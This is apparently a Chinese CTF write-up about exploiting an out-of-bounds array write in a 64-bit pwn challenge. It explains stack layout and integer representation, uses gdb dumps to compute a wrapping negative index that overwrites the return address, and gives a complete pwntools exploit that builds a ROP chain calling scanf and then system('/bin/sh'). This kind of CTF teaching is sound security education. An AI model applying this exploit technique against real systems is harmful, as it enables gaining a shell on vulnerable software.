前言:
做题时候遇到的第一道数组越界的pwn题,其中负数利用有一块地方刚开始一直弄不太明白,发帖求助了一下,在此感谢holing大佬的帮助。
介绍:
0x1. 数组越界原理:
0x1. 堆中的数组越界:
因为堆是我们自己分配的,如果越界,那么会把堆中其他空间的数据给写掉,或读取了其他空间的数据,这样就会导致其他变量的数据变得不对,如果是一个指针的话,那么有可能会引起crash,这里我们主要谈论栈中的数组越界问题。
0x2. 栈中的数组越界:
因为栈是向下增长的,在进入一个函数之前,会先把参数和下一步要执行的指令地址(通过call实现)压栈,在函数的入口会把ebp压栈,并把esp赋值给ebp,在函数返回的时候,将ebp值赋给esp,pop先前栈内的上级函数栈的基地址给ebp,恢复原栈基址,然后把调用函数之前的压入栈的指令地址pop出来(通过ret实现)。
栈是由高往低增长的,而数组的存储是由低位往高位存的,如果越界的话,会把当前函数的ebp和下一跳的指令地址覆盖掉,如果覆盖了当前函数的ebp,那么在恢复的时候esp就不能指向正确的地方,从而导致未可知的情况,如果下一跳的地址也被覆盖掉,那么肯定会导致crash。
以下是我所画的数组元素在栈中的布局:
这样一下看就很明显了,当你把数组的下标越过了最大索引值的时候,所指向的指针就会指向更高地址的栈空间段,所以我们就能够实现任意改写栈空间上的内容,同理,当下标为负数的时候指针会指向更低地址的栈空间段。但是这里就有一个需要注意的地方了,利用负数改写的话我们还能达到“负数变正数”的效果,这一点我们之后会讲到。
0x2. 正负数在计算机中的表示:
在C语言中,整数的基本数据类型分为短整型(short),整型(int),长整型(long),这三个数据类型还分为有符号和无符号,每种数据类型都有各自的大小范围,(因为数据类型的大小范围是编译器决定的,所以之后所述都默认是 64 位下使用 gcc-5.4),如下所示:
类型
字节
范围
short int
2byte(word)
0~32767(0~0x7fff) -32768~-1(0x8000~0xffff)
unsigned short int
2byte(word)
0~65535(0~0xffff)
int
4byte(dword)
0~2147483647(0~0x7fffffff) -2147483648~-1(0x80000000~0xffffffff)
unsigned int
4byte(dword)
0~4294967295(0~0xffffffff)
long int
8byte(qword)
正: 0~0x7fffffffffffffff 负:0x8000000000000000~0xffffffffffffffff
unsigned long int
8byte(qword)
0~0xffffffffffffffff
了解了数组越界的原理和利用方式之后,我们就来进入实践环节。
例题实践:
check一下:
[*] '/home/parallels/Desktop/3/pwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
64位,开了栈保护和nx。
主程序:
void hacker()
{
signed int j; // [rsp+8h] [rbp-78h]
signed int i; // [rsp+Ch] [rbp-74h]
__int64 v2; // [rsp+10h] [rbp-70h]
__int64 v3; // [rsp+18h] [rbp-68h]
__int64 s[11]; // [rsp+20h] [rbp-60h]
unsigned __int64 v5; // [rsp+78h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("Welcome to hacker's system\n");
puts("Now you can set hackers' age\n");
memset(s, 0, 0x50uLL);
for ( i = 0; i <= 9; ++i )
{
puts("Enter hacker index:");
__isoc99_scanf("%lld", &v2);
puts("Enter hacker age:");
__isoc99_scanf("%lld", &v3);
if ( v2 > 9 )
exit(0);
s[v2] = v3;
}
puts("Now let's see your creation:'");
for ( j = 0; j <= 9; ++j )
printf("%lld ", s[j]);
}
漏洞点就出现在数组索引上面,只判断了大于9的情况,没有判断小于0的情况。所以可以利用负数来进行绕过。gdb调试一下,找出数组的栈地址:
0x7fffffffdd50: 0x0000000000000014 0x00007fffffffddf0
0x7fffffffdd60: 0x0000000000000000 0x0000000000400881
0x7fffffffdd70: 0x00007ffff7dd26a3 0x00000000ffffdf00
0x7fffffffdd80: 0xfffffffffffffff8 0x0000000000000014
0x7fffffffdd90: 0x0000000000000000 0x0000000000000000 --start
0x7fffffffdda0: 0x0000000000000000 0x0000000000000000
0x7fffffffddb0: 0x0000000000000000 0x0000000000000000
0x7fffffffddc0: 0x0000000000000000 0x0000000000000000
0x7fffffffddd0: 0x0000000000000000 0x0000000000000000 --end
0x7fffffffdde0: 0x0000000000000000 0x4deabe7a5eca9400
0x7fffffffdd80处存储数组下标,0x7fffffffdd88处存储所要赋值给数组的内容。0x7fffffffdd90~0x7fffffffddd8处存储10个数组元素的内容。
再看看hack()函数的ret返回地址:
0x7fffffffddf8
当我设置下标为1,内容为20的时候,栈中的内容是这样的:
0x7fffffffdd70: 0x00007ffff7dd26a3 0x00000000ffffdf00
0x7fffffffdd80: 0x0000000000000001 0x0000000000000014
0x7fffffffdd90: 0x0000000000000000 0x0000000000000000
0x7fffffffdda0: 0x0000000000000000 0x0000000000000000
0x7fffffffddb0: 0x0000000000000000 0x0000000000000000
0x7fffffffddc0: 0x0000000000000000 0x0000000000000000
0x7fffffffddd0: 0x0000000000000000 0x0000000000000000
0x7fffffffdde0: 0x0000000000000000 0xaed11199af89ad00
0x7fffffffddf0: 0x00007fffffffde20 0x00000000004009ad
与上面我们所叙述的一样,当我们执行到这段汇编指令的时候:
0x400895 : mov rax,QWORD PTR [rbp-0x70]
0x400899 : mov rdx,QWORD PTR [rbp-0x68]
=> 0x40089d : mov QWORD PTR [rbp+rax*8-0x60],rdx
rax中存储的是索引值,rdx中存储的是内容,[rbp+rax*8-0x60]这一段实质上就是数组元素的偏移寻址,即我们上文所说的十个数组元素的存储地址寻址,rdx赋值给它,那么我们这样就可以利用负数,来修改比数组元素更低地址的空间内容了。
那么这里应该就有疑问了,ret返回地址不是在数组元素地址的更高地址吗?用负数怎么能够达到修改ret地址内容的效果呢?
上面我们已经了解到正负数在计算机中的表示了,为了更容易理解,我们直接实践能很快理解,我们设置下标为-1,内容为20,在栈中的表示是这样的:
0x7fffffffdd70: 0x00007ffff7dd26a3 0x00000000ffffdf00
0x7fffffffdd80: 0xffffffffffffffff 0x0000000000000014
0x7fffffffdd90: 0x0000000000000000 0x0000000000000000
0x7fffffffdda0: 0x0000000000000000 0x0000000000000000
可以看见-1表示成了0xffffffffffffffff。
现在来计算我们所需要输入的下标的值为多少才能覆盖返回地址。
ret地址:[rbp+0x8]
指向内存:[rbp+rax*8-0x60]
所以我们需要做到:(rbp+rax*8-0x60)%0x10000000000000000 == rbp+0x8,还有一个关键的点是还需要使rax的值为负数,即0x8000000000000000
这里为什么要取余数呢?因为64位程序中最高是16位(8字节),超出了16位最高位会被截断,所以这里我们可以得到多个可用的rax值。
0x800000000000000d,0xa00000000000000d,0xc00000000000000d,0xe00000000000000d
我们选用0xa00000000000000d来测试一下,转化成负数为-6917529027641081843。作为下标输入,栈中地址为:
0x7fffffffdd80: 0xa00000000000000d 0x0000000000000014
0x7fffffffdd90: 0x0000000000000000 0x0000000000000000
再看看[rbp+rax*8-0x60]地址:
gdb-peda$ p $rbp+$rax*8-0x60
$60 = (void *) 0x7fffffffddf8
成功任意改变栈地址内容。接下来就好构造了,有十次的机会写栈中的内容,足够了。
利用思路:
因为本身程序中就有system函数存在,所以我们只需要写入/bin/sh就好了。
利用scanf函数将/bin/sh写入bss段。
调用system函数。
这里具体怎么去利用就不细说了,主要讲数组越界利用的这一部分。
EXP:from pwn import *
p = process('./pwn1')
elf = ELF('pwn1')
p.recvuntil('name:\n')
p.sendline('yzq')
system_addr = elf.symbols['system']
bss_addr = elf.bss()
scanf_addr = elf.symbols['__isoc99_scanf']
pop_rdi = 0x400a33 #pop rdi;ret
pop_rsi = 0x400a31 #pop rsi;pop r15;ret
ret_addr = 6917529027641081843 #0xa00000000000000d的负数形式
scanf_formot = 0x400AFC
#gdb.attach(p)
#1
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr))
p.recvuntil('age:\n')
p.sendline('%s' % (pop_rdi))
#2
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-1))
p.recvuntil('age:\n')
p.sendline('%s' % (scanf_formot))
#3
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-2))
p.recvuntil('age:\n')
p.sendline('%s' % (pop_rsi))
#4
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-3))
p.recvuntil('age:\n')
p.sendline('%s' % (bss_addr))
#5
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-4))
p.recvuntil('age:\n')
p.sendline('%s' % (0x1)) #r15不相干,随意写
#6
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-5))
p.recvuntil('age:\n')
p.sendline('%s' % (scanf_addr))
#7
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-6))
p.recvuntil('age:\n')
p.sendline('%s' % (pop_rdi))
#8
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-7))
p.recvuntil('age:\n')
p.sendline('%s' % (bss_addr))
#9
p.recvuntil('index:\n')
p.sendline('-%s' % (ret_addr-8))
p.recvuntil('age:\n')
p.sendline('%s' % (system_addr))
#10
p.recvuntil('index:\n')
p.sendline('0')
p.recvuntil('age:\n')
p.sendline('0')
p.sendline('/bin/sh')
p.interactive()
相关链接:https://blog.csdn.net/qq_33438733/article/details/72851639
https://blog.csdn.net/human_evolution/article/details/40752047
https://ctf-wiki.github.io/ctf-wiki/pwn/integeroverflow/intof/
最后于 2018-6-19 23:30
被V1NKe编辑
,原因:
上传的附件:
5b1126f06e10c
(8.92kb,39次下载)